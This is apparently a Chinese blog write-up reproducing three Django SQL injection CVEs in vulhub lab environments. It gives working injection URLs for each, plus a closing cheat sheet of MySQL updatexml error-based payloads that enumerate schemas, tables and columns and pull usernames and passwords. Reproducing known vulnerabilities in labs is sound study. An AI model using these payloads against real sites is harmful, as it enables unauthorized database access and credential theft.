vulhub靶场sql注入漏洞复现

发布时间:2022-08-18 18:05

vulhub靶场sql注入漏洞复现_第1张图片

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247483996&idx=1&sn=4254dc0a54003cccb29dd42935f8ccea&chksm=903924aca74eadba5f04112b1a287f22dfbd796481012102c712ce2d66ec8cb6ff56ffbe2434&scene=21#wechat_redirect

Django是一款广为流行的开源web框架,由Python编写,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,JSONField是该数据库的一种数据类型。
该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
vulhub靶场sql注入漏洞复现_第2张图片

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。

docker-compose build
docker-compose up -d

环境启动后,访问http://192.168.33.130:8000即可看到Django默认首页。
vulhub靶场sql注入漏洞复现_第3张图片

漏洞复现
Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

首先登陆后台http://192.168.33.130:8000/admin/,用户名密码为admin、a123123123。
登陆后台后,进入模型Collection的管理页面http://192.168.33.130:8000/admin/vuln/collection/:
vulhub靶场sql注入漏洞复现_第4张图片

然后在GET参数中构造detail__a’b=123提交,其中detail是模型Collection中的JSONField:

http://192.168.33.130:8000/admin/vuln/collection/?detail__a%27b=123

可见,单引号已注入成功,SQL语句报错:
vulhub靶场sql注入漏洞复现_第5张图片

Django GIS SQL注入漏洞(CVE-2020-9402)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2020-9402/README.zh-cn.md
https://xz.aliyun.com/t/7403

GIS 查询功能中存在的SQL注入漏洞。
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。

漏洞复现
访问http://your-ip:8983 ,出现如下页面表示搭建成功!
vulhub靶场sql注入漏洞复现_第6张图片存在漏洞的是vuln、vuln2

漏洞一

首先访问http://your-ip:8000/vuln/。

在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

可见,括号已注入成功,SQL语句查询报错:

漏洞二

访问http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20–

Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2021-35042/README.zh-cn.md
https://blog.csdn.net/weixin_43047908/article/details/119772225

在QuerySet底下的order_by函数中存在的SQL注入漏洞。
该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。
vulhub靶场sql注入漏洞复现_第7张图片首先,转到列表视图 http://your-ip:8000/vuln/
在这里插入图片描述
添加?order=-id到 GET 参数。看到按 id 降序排列的数据。
在这里插入图片描述
看到按 id 降序排列的数据。

因此根据这个信息我们可以构造报错注入来进行攻击获取数据信息。
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23,其中vuln是我们的应用程序和collection模型。
vulhub靶场sql注入漏洞复现_第8张图片
获取用户
vulhub靶场sql注入漏洞复现_第9张图片其他:
updatexml报错注入原理:

`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号